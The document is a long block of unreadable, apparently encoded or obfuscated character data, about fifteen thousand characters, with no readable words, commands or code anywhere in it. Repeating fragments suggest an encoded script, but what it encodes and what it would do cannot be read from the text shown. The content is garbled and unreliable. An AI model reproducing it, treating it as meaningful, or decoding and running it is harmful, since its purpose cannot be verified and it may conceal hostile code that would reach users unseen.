Y^SLZ5B5VYEFRTLZZP[K`XRRGWXGWUKHPD5`XRRGWXGWUKHP^MM^F5B5\WZ\TOPVQKOPLVKVIZ[ZYVQVKZMZ\PM[S^FZM55B5\	IVMTSYX`I5VYVLLZK`XRRGWXGWUKHPdTZFbVH`INEO^FN]EX
`XRRGWXGWUKHPdTZFbD5\	IVMTSYX`I`XRRGWXGWUKHPdTZFbE
GSO]GTM
	EJNI	FVVLLE
GSO]GTM5B5VYVH`INEO^FN]EX
\	IVMTSYX`ID555\	IVMTSYX`IP[G^WEOWE	QV`
TZF5B555VYVH`INEO^FN]EX
\	IVMTSYX`IG
G[MZKJMQY^SLZ555K]R
KFPJS\OVXM][PQ]Y\L\	IVMTSYX`IKMJZ5VYK]R
KFPJS\OCC]]W	SFT[SO[QS	K]R
KFPJS\OGGYMZKJMQY^SLZ555VY]]W	SFT[SO[QSK]R
KFPJS\OVXM][PQ]Y\L
Y^SLZMZKJMQY^SLZ5K]R
KFPJS\OVXM][PQ]Y\L[	GERRVLTU
PPQQKNULRFZFKK]R
KFPJS\O5VY[ZYVQZ[VXM][PQ]Y\L	D55KMFD5KPTZQ`XZK`^SSK]R
KFPJS\Okptzq`o~mlz5B\^K\WkWMPH^]SZSKQO
]K`D5MZKJMQY^SLZ555B\^K\WzG\ZOKVPQSKQO
]K`D5MZKJMQY^SLZ55B555BZSLZVYIE[
QM[VN\`]\E]JK]R
KFPJS\OD5MZKJMQY^SLZ5B5MZKJMQK]R
KFPJS\O55B5YJQ\KVPQESXRO[\JHH	U
E^PTK5555D5KMFD5VY]]W	SFT[SO[QSEFRTLZZP[KMZKJMQ5VY[ZYVQZ[VXM][PQ]Y\LMZKJMQ5T\FPU]]`PF	]^H	E	]NMVQO[I]S[ET5VYT\FPU]]`PF	]D5VHQT]UP]S
O[5T\FPU]]`PF	]^H	E	]NMVQO[I]S[ET5B5]PXKK[\OLFFP[G^WEOWE	QV`
]]W	SFT[SO[QS
5VYVH`INEO^FN]EX	]PXKK[\OLFF]PXKK[\OLFFEFRTLZZP[KcG5555]IQTF
YK^Z	Q\WVLLZKxsp}~sldEFRTLZZP[KbVH`INEO^FN]EX
xsp}~sldVH`INEO^FN]EXb]]W	SFT[SO[QS	xsp}~sldVH`INEO^FN]EXb	 xsp}~sld]]W	SFT[SO[QSbP[G^WEOWE	QV`
VH`INEO^FN]EX	5VY]]W	SFT[SO[QS]IQTF
YK^Z	Q\W	]IQTF
YK^Z	Q\WUEZUPIV`F	5PQ`IJ
``NK\NVLLZKxsp}~sld]]W	SFT[SO[QSb]]W	SFT[SO[QSxsp}~sldEFRTLZZP[KbEFRTLZZP[Kxsp}~sld]]W	SFT[SO[QSb
a xsp}~sldVXM][PQ]Y\LbP[G^WEOWE	QV`
EFRTLZZP[K5EJ	OFII]EFRTLZZP[K	]IQTF
YK^Z	Q\WPQ`IJ
``NK\N]PXKK[\OLFFCEFRTLZZP[KHXE\OLIFZTPN]Y5VYP[G^WEOWE	QV`
]]W	SFT[SO[QS	EJ	OFII]D5VHQT]UP]S
O[5T\FPU]]`PF	]^H	E	]NMVQO[I]S[ET5B5VY^XWIFV
QLQ[XMZKJMQ5IYXE	[YJF[NGLJR[\IKJY^K^EM`GYVFQSMKE[F\JK^EM`GYV5FMW`WF\^FPMVH`INEO^FN]EXIYXE	[Y]]W	SFT[SO[QS5VYFMW`WF\^FPMT\FPU]]`PF	]XZK`KM^QLVZQK]]W	SFT[SO[QS
MZKJMQ5`QYSNO	F	[KO

U5QZL\KQ`IEF
5J`JFXMVEWVZ5[UPXT\IL
NEFRTLZZP[K	IYXE	[YVH`INEO^FN]EX555T\FPU]]`PF	]^H	E	]NMVQO[I]S[ET5VY[UPXT\IL
NT\FPU]]`PF	]D5LZK`KM^QLVZQKVXM][PQ]Y\L
G
	G[	5B55B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVH`INEO^FN]EXSKQO
]K`555B\^K\WzG\ZOKVPQSKQO
]K`D5LKMZLLKZLKMZ[J\KVPQYPMhoyJSSlVKZz[VKVQX5555B5B5555YJQ\KVPQQZL\KQ`IEF
5D55KMFD5VY[ZYVQZ[EFRTLZZP[KMZKJMQ5VYEFRTLZZP[KVXM][PQ]Y\LMZKJMQ5ZXSVYSFEEMVXM][PQ]Y\LVH`INEO^FN]EX EFRTLZZP[KEFRTLZZP[K
	Y^SLZ5VYZXSVYSFEEMCCZXSVYSFEEMCCZXSVYSFEEMEFRTLZZP[KZXSVYSFEEMVH`INEO^FN]EX
5OQ]TNKU[PLZOO]ZZSGMJW~}lo~kwVH`INEO^FN]EXa		5IYXE	[YJF[NGLJR[\IKJY^5Z	UTJZE^\ZQMYHRKKYPFNI]Q]XV5^Y
GSQ^	`TPLZOO]ZZSGMJW~}lo~kwVXM][PQ]Y\LEFRTLZZP[K5PGJMV
KIYXE	[Y^Y
GSQ^	`T5KPFNNXF
IYXE	[YVH`INEO^FN]EX^Y
GSQ^	`TNM
U^JI\Nowo`r~upm`izmlvpqPN	^

EKMNM
U^JI\N5[INN^OUHUIEF]]W	SFT[SO[QS	
M	L]ZERIVH`INEO^FN]EX5NYXYO	YWMMPLZOO]ZZSGMJW~}lo~kwEFRTLZZP[K	]]W	SFT[SO[QS5FMENO[
S]VQKXZK`POKVPQVXM][PQ]Y\L5VYFMENO[
S]]]W	SFT[SO[QSFMENO[
S]GZZ[	G	^^D5NU]EZNYSUQG`YLPGJMV
KQJSS5NU]EZNYSUQG`YLKPFNNXF
QJSS555YPMZ^\W^MM^FEFRTLZZP[K		~}lo~kwVXM][PQ]Y\L	VXM][PQ]Y\L		IYXE	[YVXM][PQ]Y\L
^LJPNORNFTFD5GLPQHLQVKR]LJPNORNFTFZXSVYSFEEM5555\WNOSLUXWVH`INEO^FN]EX	GLPQHLQVKR]L VH`INEO^FN]EXGLPQHLQVKR]L5VYEFRTLZZP[K\WNOSLUXW]]W	SFT[SO[QS\WNOSLUXW^Y
GSQ^	`TY^SLZD5S\EYW
HO	GJTEFRTLZZP[KVXM][PQ]Y\LEFRTLZZP[K^Y
GSQ^	`TVH`INEO^FN]EXcQ\WNOSLUXW5555VYVH`INEO^FN]EXS\EYW
HO	GJTS\EYW
HO	GJT\WNOSLUXWL]NY]EJ\QQ
ILGUVGOGLPQHLQVKR]LS\EYW
HO	GJT5555B5rFlns|kzL^KK^\WRZQKRZK^[^K^55B5MZKJMQ555B5GS
X^W]TFVQ`YLR\U[GZ	OW`OZY5555]]W	SFT[SO[QS5^MM^F``lsjx````evo`q~rz````vqlk`w~lw````{~k~`{vm````|pqkzqk`{vm`}	````izmlvpq``5^MM^F[INN^OUHUIEFNYXYO	YWMMOQ]TNKU[VXM][PQ]Y\LPLZOO]ZZSGMJW~}lo~kw]]W	SFT[SO[QS
	]]W	SFT[SO[QS[ZYVQZ[]]W	SFT[SO[QS ho`|pqkzqk`{vmJF[NGLJR[\IKJY^HX]T^EKEHX	P^Q^	HYK55VYGS
X^W]TFVD5ZGOZ\KZ[]SPPRYVSKZM55VYVQKXZK`POKVPQEFRTLZZP[KPTG]`[M\TJL[^FSJEFRTLZZP[KVXM][PQ]Y\L
5MZKJMQ5B5VY]]W	SFT[SO[QSZ	UTJZE^\ZQMY`QGTGLSFXUY^^[Z	UTJZE^\ZQMYGG\KMJZ[T	L^OJSM^]	RKEKRWP[T	L^OJSM^]5VO^ENKTOXXMRY^SLZ5VYEFRTLZZP[K	KPFNNXF
CC]]W	SFT[SO[QS	UH`VLVJVW
UTUZLKMVQX]]W	SFT[SO[QSKPFNNXF
EFRTLZZP[K	GS
X^W]TFVD5KU[]NNG]VQJP^KPFNNXF
GS
X^W]TFVVH`INEO^FN]EX5555\TWJQV`G\FXK[KKPFNNXF
HWEGJ	FWZJVY555NNKZM`SOUHJYLELIV\ZKPFNNXF
5S^YTFWKYW`^KPFNNXF
5VO^ENKTOXXMRKMJZ5B5[VLLUNH]5YPMZ^\W^MM^FEFRTLZZP[K		~}lo~kw]]W	SFT[SO[QS
]]W	SFT[SO[QS		IYXE	[YEFRTLZZP[K^LPYI
ZP]GEQP	MYD5555YG\JNSGJP]]W	SFT[SO[QS	PYI
ZP]GEQP	MYZXSVYSFEEM EFRTLZZP[KPYI
ZP]GEQP	MYZXSVYSFEEM5VYVH`INEO^FN]EXYG\JNSGJPEFRTLZZP[KEFRTLZZP[KYG\JNSGJPOOY
Y\FLPEHD5\LL
[G^	^MS]]W	SFT[SO[QSOOY
Y\FLPEHdb5VY\LL
[G^	^MSLKMVOPL\LL
[G^	^MSVH`INEO^FN]EXY^SLZXRYYX^KHXMK\LL
[G^	^MSD5555[VLLUNH]\LL
[G^	^MS5]MZ^T5B5B5B55Q[\KOIN^JYLHZ]]W	SFT[SO[QS[VLLUNH] VH`INEO^FN]EXVXM][PQ]Y\L[VLLUNH]KMJZVH`INEO^FN]EX5VXM][PQ]Y\L
^Y
GSQ^	`T]]W	SFT[SO[QS	
5EFRTLZZP[K	5EFRTLZZP[K5]]W	SFT[SO[QS]]W	SFT[SO[QS	GS
X^W]TFVEFRTLZZP[K555VYEFRTLZZP[K	PGJMV
KCC]]W	SFT[SO[QS	UH`VLVJVW
UTUZLKMVQXVH`INEO^FN]EXPGJMV
KVH`INEO^FN]EXQ[\KOIN^JYLHZD55KU[]NNG]VQJP^PGJMV
KQ[\KOIN^JYLHZEFRTLZZP[K5\TWJQV`G\FXK[KPGJMV
KHWEGJ	FWZJVY5555NNKZM`SOUHJYLELIV\ZPGJMV
K5S^YTFWKYW`^PGJMV
K5VO^ENKTOXXMRKMJZ5B5PP^WOM[XXWKV[KMJZ5J\Z\MKIOUH`VLVJVW
UTUZLKMVQXVH`INEO^FN]EXKPFNNXF
5VY]]W	SFT[SO[QS	KPFNNXF
CCJ\Z\MKIOGS
X^W]TFVD5PTG]`[M\TJL[^FSJVH`INEO^FN]EXVXM][PQ]Y\L5NU]EZNYSUQG`YLKPFNNXF
QJSS5PP^WOM[XXWKV[Y^SLZ5B5J\Z\MKIOUH`VLVJVW
UTUZLKMVQXVH`INEO^FN]EXPGJMV
K5VYEFRTLZZP[KPGJMV
KCCJ\Z\MKIOQ[\KOIN^JYLHZD5PTG]`[M\TJL[^FSJVH`INEO^FN]EXEFRTLZZP[K5555NU]EZNYSUQG`YLPGJMV
KQJSS5PP^WOM[XXWKV[Y^SLZY	YR[FXI	KYZ^HUZWY	YR[FXI	K
5B5JQLZKJ\Z\MKIO5VYPP^WOM[XXWKV[D5`
^]M\N	LJWVQKXZK`POKVPQVXM][PQ]Y\L
5JO[^KZ`POKVPQVXM][PQ]Y\L
`
^]M\N	LJWEFRTLZZP[K
5VY`
^]M\N	LJWGGD5JO[^KZ`POKVPQEFRTLZZP[K	EFRTLZZP[KVH`INEO^FN]EX
5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QSVXM][PQ]Y\L55B5MZKJMQ555B5MI\F]EROPHH^MM^F]]W	SFT[SO[QS		~}lo~kwVH`INEO^FN]EXEFRTLZZP[K		IYXE	[YVH`INEO^FN]EX5\FFTH	HITG\^MM^F555YPMZ^\WMI\F]EROPHH^LMOTSTJ\LD5FSFTQOTSP	OVMOTSTJ\LZXSVYSFEEM5WZTVMQVRHSTRTKQ]VXM][PQ]Y\LFSFTQOTSP	OV EFRTLZZP[KFSFTQOTSP	OV5\JMMZQKEFRTLZZP[KFSFTQOTSP	OV VH`INEO^FN]EXFSFTQOTSP	OV5VY]]W	SFT[SO[QS\JMMZQKD5PTG]`[M\TJL[^FSJVH`INEO^FN]EXVH`INEO^FN]EX555MZKJMQ5B5VYVXM][PQ]Y\L\JMMZQK^Y
GSQ^	`TY^SLZD5555VY\JMMZQKVXM][PQ]Y\LEFRTLZZP[K\JMMZQKcQ\JMMZQKcQ5I]GM^QSLYEFRTLZZP[K
PGJMV
Kowo`zps5VYL]NY]EJ\QQ
ILGUVGOFSFTQOTSP	OV\JMMZQKI]GM^QSLYD5VYWZTVMQVRHSTRTKQ]\TWJQV`G\FXK[KFSFTQOTSP	OVWZTVMQVRHSTRTKQ]5ZSLZ\TWJQV`G\FXK[KFSFTQOTSP	OVVH`INEO^FN]EX5NNKZM`SOUHJYLELIV\ZFSFTQOTSP	OV5JO[^KZ`POKVPQVH`INEO^FN]EX	VXM][PQ]Y\LVXM][PQ]Y\L
5\FFTH	HITG\db^MM^FFSFTQOTSP	OV\JMMZQK5VYVQKXZK`POKVPQ]]W	SFT[SO[QSJO[^KZ`POKVPQ]]W	SFT[SO[QSVH`INEO^FN]EX5VYVQKXZK`POKVPQEFRTLZZP[K	[ZSZKZ`POKVPQ]]W	SFT[SO[QS5BZSLZD5^\NJVMZWZ^MK]Z^K555UX
^\G\\EP	VQKXZK`POKVPQVXM][PQ]Y\LEP`
[\	Lowo`vqk`r~gowo`vqk`r~gKL	OKTKGFKEP`
[\	L5JO[^KZ`POKVPQ]]W	SFT[SO[QSUX
^\G\\EP	VH`INEO^FN]EX5VYUX
^\G\\EP	D5JO[^KZ`POKVPQVH`INEO^FN]EXVXM][PQ]Y\LEFRTLZZP[K5PTG]`[M\TJL[^FSJVH`INEO^FN]EXEFRTLZZP[K5]MZ^T5B55B5B5B5VYVO^ENKTOXXMRWPP	K
``I	RO^KKRD5555PTG]`[M\TJL[^FSJVH`INEO^FN]EXEFRTLZZP[K
5NU]EZNYSUQG`YLPGJMV
KQJSS5NU]EZNYSUQG`YLKPFNNXF
QJSS5YPMZ^\W\FFTH	HITG\^LYZMWYFHJL]NY]EJ\QQ
ILGUVGOYZMWYFHJdbYZMWYFHJdb5`
^]M\N	LJWVQKXZK`POKVPQVXM][PQ]Y\L5JO[^KZ`POKVPQVXM][PQ]Y\L
`
^]M\N	LJW]]W	SFT[SO[QS555VY`
^]M\N	LJWGGD5JO[^KZ`POKVPQ]]W	SFT[SO[QS]]W	SFT[SO[QSVH`INEO^FN]EX5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS
VXM][PQ]Y\L5B5B5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJEFRTLZZP[K
SKQO
]K`55B\^K\WzG\ZOKVPQSKQO
]K`D5B5B5YJQ\KVPQS	LMSOJLPY5D5MZUZ\K[VL\PQQZ\KZ[LK^\TYM^RZ55KMFD5howPRZsVQTKWZRZLJOOPMK55VYVXM][PQ]Y\LVXM][PQ]Y\L
MZKJMQ5VY[ZYVQZ[]]W	SFT[SO[QS	CC[ZYVQZ[EFRTLZZP[K
D5VYVQKXZK`POKVPQEFRTLZZP[K
D5[ZSZKZ`POKVPQEFRTLZZP[K
5JO[^KZ`POKVPQ]]W	SFT[SO[QS
VXM][PQ]Y\L5B5[PRVQ^KZPM\WZLKM^KPMYPMhooPLKkZMRL5555MZKJMQ5B5YS]Y^ERQVMPVQKXZK`POKVPQEFRTLZZP[K
5VYYS]Y^ERQVMPMZKJMQ5`R]OL\\NQ[EFRTLZZP[K

VXM][PQ]Y\L
	 VQK]]W	SFT[SO[QS
VH`INEO^FN]EX
55VY`R]OL\\NQ[`R]OL\\NQ[G[[GY5VY]]W	SFT[SO[QSYS]Y^ERQVMP`R]OL\\NQ[G\GMZKJMQ5JO[^KZ`POKVPQ]]W	SFT[SO[QS
VH`INEO^FN]EXVH`INEO^FN]EX
5[ZNRP^YRR]OVQKXZK`POKVPQVXM][PQ]Y\L
5JO[^KZ`POKVPQVXM][PQ]Y\L	[ZNRP^YRR]O]]W	SFT[SO[QS
5VY[ZNRP^YRR]OD5[ZSZKZ`POKVPQVXM][PQ]Y\L	5JO[^KZ`POKVPQ]]W	SFT[SO[QSEFRTLZZP[KVXM][PQ]Y\L	55PTG]`[M\TJL[^FSJEFRTLZZP[K
]]W	SFT[SO[QS	5B555B\^K\WkWMPH^]SZSKQO
]K`D5B\^K\WzG\ZOKVPQSKQO
]K`D5B5B5YJQ\KVPQ[YGPSFPUSX[ZI]VL5D5KMFD5VY[ZYVQZ[VXM][PQ]Y\LMZKJMQ55VY]]W	SFT[SO[QSVH`INEO^FN]EXMZKJMQ555VYS[RH
^XUNY]HGMZKJMQ5VY^XWIFV
QLQ[XMZKJMQ5Z	UTJZE^\ZQMYHRKKYPFNI]Q]XV555WHL\UW[EGLZ	UTJZE^\ZQMYVH`INEO^FN]EX	5VXOWYT^ZVH`INEO^FN]EX	
cQEFRTLZZP[K		cQ5]]W	SFT[SO[QS	cQVXM][PQ]Y\L	cQ]]W	SFT[SO[QS	cQ5VH`INEO^FN]EXcQ]]W	SFT[SO[QScQVH`INEO^FN]EX	cQ5EFRTLZZP[KcQ5\JMMZQKEFRTLZZP[KWHL\UW[EGL VH`INEO^FN]EXWHL\UW[EGL5VYVH`INEO^FN]EX\JMMZQKD5PTG]`[M\TJL[^FSJEFRTLZZP[K
VH`INEO^FN]EX5MZKJMQ5555B5VY]]W	SFT[SO[QS\JMMZQK]]W	SFT[SO[QS	
Y^SLZD5L]NY]EJ\QQ
ILGUVGOWHL\UW[EGL\JMMZQKVXOWYT^ZRH^KPZHI]EI	CN^R]SG^ZRH^KPZHI]EI	a5\TWJQV`G\FXK[KWHL\UW[EGLHWEGJ	FWZJVY5NNKZM`SOUHJYLELIV\ZWHL\UW[EGL


5B5OSWHU\SXQFGZEGGFQGIVMRH5VYOSWHU\SXQFGCCEFRTLZZP[KOSWHU\SXQFG	MZKJMQ5[INN^OUHUIEFVXM][PQ]Y\L	
M	L]ZERIEFRTLZZP[K	55IYXE	[YJF[NGLJR[\IKJY^5^Y
GSQ^	`TPLZOO]ZZSGMJW~}lo~kw]]W	SFT[SO[QSG
GEFRTLZZP[K	5VU^SJ]HVEET^MM^F5IYXE	[Y^Y
GSQ^	`T5Z	UTJZE^\ZQMY^Y
GSQ^	`T55NVNGUXGZKKIYXE	[Y^Y
GSQ^	`TGNSPP`IJQY	FLRR^W	GNSPP`IJQY
5YPMZ^\WVU^SJ]HVEET^LVRLXYOWD5MOTSTJ\LVXM][PQ]Y\L	VRLXYOW5VYVXM][PQ]Y\LMOTSTJ\LCC`QGTGLSFXUY^^[MOTSTJ\LG
\GKMJZD5hoJLZzQKVKFmZ\PM[LVQLK^QKV^KZLZLLVPQHVQ[PH55NVNGUXGZKKVRLXYOW5]MZ^T5B5B5\	IVMTSYX`IGK^MSXUNEKNHLVK5GS
X^W]TFVQ`YLR\U[GZ	OW`OZY5VXM][PQ]Y\L5^MM^F``lsjx````osjxvq`}~lz	````izmlvpq``5^MM^F[INN^OUHUIEF\	IVMTSYX`IHX]T^EKEHX	P^Q^	HYK5O]WGFFXQL	]\M
MTKTSS	O]WGFFXQL
5VYGS
X^W]TFVD5VYVQKXZK`POKVPQ]]W	SFT[SO[QSPTG]`[M\TJL[^FSJVH`INEO^FN]EX]]W	SFT[SO[QS5MZKJMQ5B5[VLLUNH]5TIUMQH^
TNE^MM^F~}lo~kw]]W	SFT[SO[QSIYXE	[YVH`INEO^FN]EX5MIPPL`M`WPNJEFRTLZZP[K

VXM][PQ]Y\L ]]W	SFT[SO[QSVXM][PQ]Y\LY^SLZ5VYVH`INEO^FN]EXMIPPL`M`WPNJMIPPL`M`WPNJD5TIUMQH^
TNEdbVH`INEO^FN]EX~}lo~kw]]W	SFT[SO[QSMIPPL`M`WPNJ5TIUMQH^
TNEdbIYXE	[YMIPPL`M`WPNJ5B5YPMZ^\WTIUMQH^
TNE^LN``FRG`X^YD5L]FY
FZHZLKXLVXM][PQ]Y\L
N``FRG`X^Y VH`INEO^FN]EXN``FRG`X^Y5VYVH`INEO^FN]EX	L]FY
FZHZLKXLCCL]FY
FZHZLKXL\PQKVQJZ5555VY]]W	SFT[SO[QSEFRTLZZP[KL]FY
FZHZLKXLOOY
Y\FLPEHD5\LL
[G^	^MSVH`INEO^FN]EXOOY
Y\FLPEHdb5VY\LL
[G^	^MSLKMVOPL\LL
[G^	^MSEFRTLZZP[KY^SLZXRYYX^KHXMK\LL
[G^	^MSD55[VLLUNH]\LL
[G^	^MS5]MZ^T5B5LKMZLLKZLK\PRO^\KZYYZ\KKFOZ5555B5B5VY[VLLUNH]D5GS
X^W]TFVVH`INEO^FN]EXEFRTLZZP[KVXM][PQ]Y\L]]W	SFT[SO[QS[VLLUNH]KMJZVH`INEO^FN]EXGS
X^W]TFV5VYVH`INEO^FN]EX	GS
X^W]TFVD5PTG]`[M\TJL[^FSJEFRTLZZP[KEFRTLZZP[K555MZKJMQ5B5B5W]USIZFP^KMJZ5J	MPIJ[WHWKQJSS5VYEFRTLZZP[KNVNGUXGZKKD5YVGJOPM]VK555J	MPIJ[WHWKUH`VLVJVW
UTUZLKMVQXVH`INEO^FN]EXNVNGUXGZKK55VYVXM][PQ]Y\L	J	MPIJ[WHWKJ	MPIJ[WHWKGS
X^W]TFVD5W]USIZFP^Y^SLZ555B5yyv]VQ[VQXLOMVRZW^Q[LW^TZ55B5[EOYGINTK^G^MM^F5~}lo~kwVH`INEO^FN]EX5[ZYVQZ[]]W	SFT[SO[QS ho`|pqkzqk`{vmIYXE	[YVXM][PQ]Y\L555FMYGOENFETRRSVQKXZK`POKVPQEFRTLZZP[K
5VYFMYGOENFETRRSVXM][PQ]Y\L	FMYGOENFETRRS		D5NU]EZNYSUQG`YLNVNGUXGZKKQJSS5555YPMZ^\W[EOYGINTK^G^LILV
R`D5\F\SZ[ZKZ\KZ[55QHG[XFGZSNOXGEFRTLZZP[K
ILV
R` VH`INEO^FN]EXILV
R`5VYVH`INEO^FN]EX	QHG[XFGZSNOXGVH`INEO^FN]EXQHG[XFGZSNOXG^Y
GSQ^	`TY^SLZD5QOVTF[M\TW`KNUGVYJRNKJZ^YQ[MS\QHG[XFGZSNOXG^Y
GSQ^	`T555VY]]W	SFT[SO[QSQOVTF[M\TW`KNQOVTF[M\TW`KNQHG[XFGZSNOXGL]NY]EJ\QQ
ILGUVGOILV
R`QOVTF[M\TW`KN5B5B5MZKJMQ5B5VYW]USIZFP^DMZQLOJ
]LUFU\G\GZXGMFKPVS[MZQLOJ
]LUFU\	5KU[]NNG]VQJP^NVNGUXGZKKGS
X^W]TFVEFRTLZZP[K5555\TWJQV`G\FXK[KNVNGUXGZKKHWEGJ	FWZJVY55NNKZM`SOUHJYLELIV\ZNVNGUXGZKKGG\5S^YTFWKYW`^NVNGUXGZKK5B5J\Z\MKIO]]W	SFT[SO[QS
NVNGUXGZKK UH`VLVJVW
UTUZLKMVQXVXM][PQ]Y\LNVNGUXGZKK5VYJ\Z\MKIOGS
X^W]TFVD55PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS]]W	SFT[SO[QS5NU]EZNYSUQG`YLNVNGUXGZKKW]USIZFP^ J	MPIJ[WHWKQJSS5M`U[ISEMPN	YQVQKXZK`POKVPQEFRTLZZP[K
5JO[^KZ`POKVPQEFRTLZZP[K
M`U[ISEMPN	YQVXM][PQ]Y\L
5555VYM`U[ISEMPN	YQGGDPG\TVO	EGHUUK\	LOVWPG\TVO	EGHU PG\TVO	EGHUPG\TVO	EGHU5JO[^KZ`POKVPQVH`INEO^FN]EX
EFRTLZZP[K	VH`INEO^FN]EX
5PTG]`[M\TJL[^FSJVXM][PQ]Y\LVXM][PQ]Y\L
5B5MZKJMQ5B5JQLZKJ\Z\MKIO5QYPPFVZHVMPQVVVXM][PQ]Y\L
5\FFTH	HITG\^MM^F5YPMZ^\W[EOYGINTK^G^LG	NKXH
^W	D5MOTSTJ\LVH`INEO^FN]EX	G	NKXH
^W	5555VYVXM][PQ]Y\LMOTSTJ\L\PQKVQJZ5JPRY	KEWUPEFRTLZZP[K

]]W	SFT[SO[QS EFRTLZZP[KG	NKXH
^W	\Y^SLZ5VYJPRY	KEWUPY^SLZ]]W	SFT[SO[QS

EFRTLZZP[K		YSP\TJPRY	KEWUPsp|t`zg5WZTVMQVRHSTRTKQ]EFRTLZZP[K
G	NKXH
^W	 EFRTLZZP[KG	NKXH
^W	5]	L`
EENKXIQFVXM][PQ]Y\L
G	NKXH
^W	 ]]W	SFT[SO[QSG	NKXH
^W	5VYEFRTLZZP[K]	L`
EENKXIQFD5PTG]`[M\TJL[^FSJVH`INEO^FN]EXEFRTLZZP[K5VYJPRY	KEWUPY^SLZD5VYVXM][PQ]Y\L

EFRTLZZP[K

YSP\TJPRY	KEWUPsp|t`jq5Y\SPLZJPRY	KEWUP5B5\PQKVQJZ55B5VYEFRTLZZP[K]	L`
EENKXIQF^Y
GSQ^	`TY^SLZD5VY]]W	SFT[SO[QS
NVNGUXGZKKD5VYJPRY	KEWUPY^SLZD5VY]]W	SFT[SO[QS

]]W	SFT[SO[QS

YSP\TJPRY	KEWUPsp|t`jq5Y\SPLZJPRY	KEWUP55B5\PQKVQJZ5B5]	L`
EENKXIQFUGVYJRNKJZ^YQ[MS\]	L`
EENKXIQF^Y
GSQ^	`T5B5VYVH`INEO^FN]EX]	L`
EENKXIQFD5PTG]`[M\TJL[^FSJEFRTLZZP[K]]W	SFT[SO[QSENWFXY
PEWIFSSIMQOENWFXY5VYJPRY	KEWUPY^SLZD5VY]]W	SFT[SO[QS
	VXM][PQ]Y\L
YSP\TJPRY	KEWUPsp|t`jq5Y\SPLZJPRY	KEWUP5B5\PQKVQJZ5B5VYVH`INEO^FN]EX
NVNGUXGZKKD5hoyJSSlVKZz[VKVQXLZMV^SVEZ[VLKMV]JKPM55VYJPRY	KEWUPY^SLZD5VYEFRTLZZP[K
	EFRTLZZP[K
YSP\TJPRY	KEWUPsp|t`jq5Y\SPLZJPRY	KEWUP555B555\PQKVQJZ5B5VYVRNH	TSGM^U^H
TD5555I]GM^QSLYcQvYrP[JSZSVKZLOZZ[cQQYPPFVZHVMPQVVVH`INEO^FN]EX
NVNGUXGZKKcQvYrP[JSZcQ5BZSLZD5I]GM^QSLYcQvYrP[JSZRP[`OWO\cQQYPPFVZHVMPQVVEFRTLZZP[K
NVNGUXGZKKcQvYrP[JSZcQ5vYrP[JSZRP[`OWO
\cQQYPPFVZHVMPQVVEFRTLZZP[K
NVNGUXGZKKcQvYrP[JSZcQ555vYrP[JSZRP[`OWO\cQQYPPFVZHVMPQVV]]W	SFT[SO[QS
NVNGUXGZKKcQvYrP[JSZcQ5vYrP[JSZRP[`OWO\cQQYPPFVZHVMPQVVVXM][PQ]Y\L
NVNGUXGZKKcQvYrP[JSZcQ55B5VYL]NY]EJ\QQ
ILGUVGOG	NKXH
^W	]	L`
EENKXIQFI]GM^QSLY\FFTH	HITG\db^MM^FG	NKXH
^W	]	L`
EENKXIQF5VYWZTVMQVRHSTRTKQ]\TWJQV`G\FXK[KG	NKXH
^W	WZTVMQVRHSTRTKQ]55ZSLZ\TWJQV`G\FXK[KG	NKXH
^W	EFRTLZZP[K	5VYJPRY	KEWUPY^SLZD5VYVXM][PQ]Y\L
]]W	SFT[SO[QS
YSP\TJPRY	KEWUPsp|t`jq5Y\SPLZJPRY	KEWUP5B5B5VYW]USIZFP^CCVH`INEO^FN]EX
\FFTH	HITG\WPP	K
``I	RO^KKRD55555PTG]`[M\TJL[^FSJVH`INEO^FN]EXVXM][PQ]Y\L
55NU]EZNYSUQG`YLNVNGUXGZKKJ	MPIJ[WHWK5YPMZ^\W\FFTH	HITG\^LYZMWYFHJL]NY]EJ\QQ
ILGUVGOYZMWYFHJdbYZMWYFHJdb5555M`U[ISEMPN	YQVQKXZK`POKVPQ]]W	SFT[SO[QS
555JO[^KZ`POKVPQEFRTLZZP[K
M`U[ISEMPN	YQEFRTLZZP[K
5VYM`U[ISEMPN	YQGGD5JO[^KZ`POKVPQVH`INEO^FN]EX
VH`INEO^FN]EX	VH`INEO^FN]EX
5PTG]`[M\TJL[^FSJVXM][PQ]Y\LVXM][PQ]Y\L
5B555MZKJMQ555B5VYVQKXZK`POKVPQ]]W	SFT[SO[QS
JO[^KZ`POKVPQ]]W	SFT[SO[QS
EFRTLZZP[K

5VYVQKXZK`POKVPQ]]W	SFT[SO[QS
	[ZSZKZ`POKVPQ]]W	SFT[SO[QS
5555B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVH`INEO^FN]EXSKQO
]K`JVJZNCNPNQJUJVJZNa
5B\^K\WzG\ZOKVPQSKQO
]K`D555PTG]`[M\TJL[^FSJEFRTLZZP[KSKQO
]K`5B5B5YJQ\KVPQ]\K
NP`EG`NXVT`FSR5D5KMFD5VY[ZYVQZ[EFRTLZZP[K
MZKJMQ5VYVXM][PQ]Y\L
EFRTLZZP[K
MZKJMQ555NLHJ
V]\SHPLZOO]ZZSGMJW~}lo~kwVH`INEO^FN]EX
a5OSWHU\SXQFGZEGGFQGIVMRH5VYOSWHU\SXQFGCCVXM][PQ]Y\LOSWHU\SXQFGG[YG
MZKJMQ5\	IVMTSYX`IGK^MSXUNEKNHLVK5\JMMZQKXZK`POKVPQNLHJ
V]\SH5VY\JMMZQK]]W	SFT[SO[QS\JMMZQKEFRTLZZP[K\	IVMTSYX`I\JMMZQK\	IVMTSYX`IMZKJMQ5VYEFRTLZZP[K
EFRTLZZP[K
D5JO[^KZ`POKVPQNLHJ
V]\SH\	IVMTSYX`IVXM][PQ]Y\L

5BZSLZVY[ZYVQZ[VXM][PQ]Y\L
[ZYVQZ[VXM][PQ]Y\L
[ZYVQZ[VH`INEO^FN]EX
[ZYVQZ[EFRTLZZP[KEFRTLZZP[K

EFRTLZZP[K
	D5TGUEVLR^OEFRTLZZP[K
	5YR
]YPKQZHTGUEVLR^O\PQLK^QKVXM][PQ]Y\L
\PQLK^QK]]W	SFT[SO[QS
\PQLK^QKVH`INEO^FN]EX
\PQLK^QKEFRTLZZP[K
5VYYR
]YPKYR
